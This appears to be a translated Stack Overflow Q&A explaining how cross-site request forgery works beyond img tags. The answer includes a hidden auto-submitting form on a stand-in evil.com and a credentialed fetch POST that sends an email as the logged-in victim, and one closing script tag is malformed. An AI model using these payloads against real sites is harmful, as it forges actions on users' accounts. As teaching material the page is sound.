如何在img标签之外使用XSRF攻击?

时间:2018-01-17 22:12:59

标签: javascript jwt csrf

所以我目前正在开发一个Web应用程序,我选择使用JWT作为我的api的访问令牌。

我已尽力阅读有关XSRF攻击的所有内容,当我尝试深入了解它们的执行方式时,我似乎得到的唯一答案是攻击者创建一个网站并欺骗用户加载它。攻击者的网站包含一个img标记,该标记向我的URI发送GET请求,该请求由于javascript自动添加用户的cookie以及对我的URI的调用而起作用。

第一个问题:是否有人真的允许从GET改变数据服务器端?或者这只是攻击者如何检索用户数据?

第二个问题:如何使用POST / PUT执行XSRF攻击?我似乎无法在任何地方找到明确的例子。技巧网站是否可以对我的URI运行AJAX调用,用户的cookie会随之发送?如果是这样,为什么要烦扰整个img标签呢?普通用户不会检查源代码。

1 个答案:

答案 0 :(得分:2)

如您所述,跨域的GET请求最容易(使用图片或iframe)。 POST请求也非常简单,CORS也不会一直保护你。

我们假设用户已通过Cookie登录email.comemail.com允许通过其界面中的简单HTTP表单发送电子邮件,例如:

<form action="https://email.com/sendMsg" method="post">
  <label>To: <input name="to" /></label>
  <label>Your message: <textarea name="msg"></textarea></label>
  <button type="submit">Send</button>
</form>

但是可以跨域发送表单 - 这些表格总是如此,并且通常也是需要的。表格也将与饼干一起发送。

但是等等,我们如何在XSRF中利用它? 好吧,攻击者evil.com可以有一个隐藏的形式:

<form id="xsrf" action="https://email.com/sendMsg" method="post">
  <label>To: <input name="to" value="user@example.com" /></label>
  <label>Your message: <textarea name="msg">Did you see this? :-D http://evil.com/you-should-not-go-there</textarea></label>
</form>
<script>document.getElementById('xsrf').submit()<script>
猜猜是什么?表单刚刚提交,email.com表单看起来合法,因为会话cookie也会被发送。

这里的缺点是表单提交导航离开当前页面,但如果攻击者将表单放在不可见的iframe中,则这不会成为问题。

纯粹的javascript XSRF帖子

假设我们拥有相同的&#34; API&#34;与以前一样email.com - tomsg发送电子邮件给某人的POST请求。

您可能认为evil.com上的以下代码不会因CORS而导致问题:

fetch('https://email.com/sendMsg', {method: 'POST', body: 'to=a@b.com&msg=Hello+World', credentials: 'include' })

这实际上也是一个XSRF向量。如果缺少CORS标头,CORS会抛出错误并且不会使网络响应可用,但仍然会发出请求

通常情况下这没用,但在我们的情况下,没有XSRF保护,因此发出了POST请求并发送了电子邮件!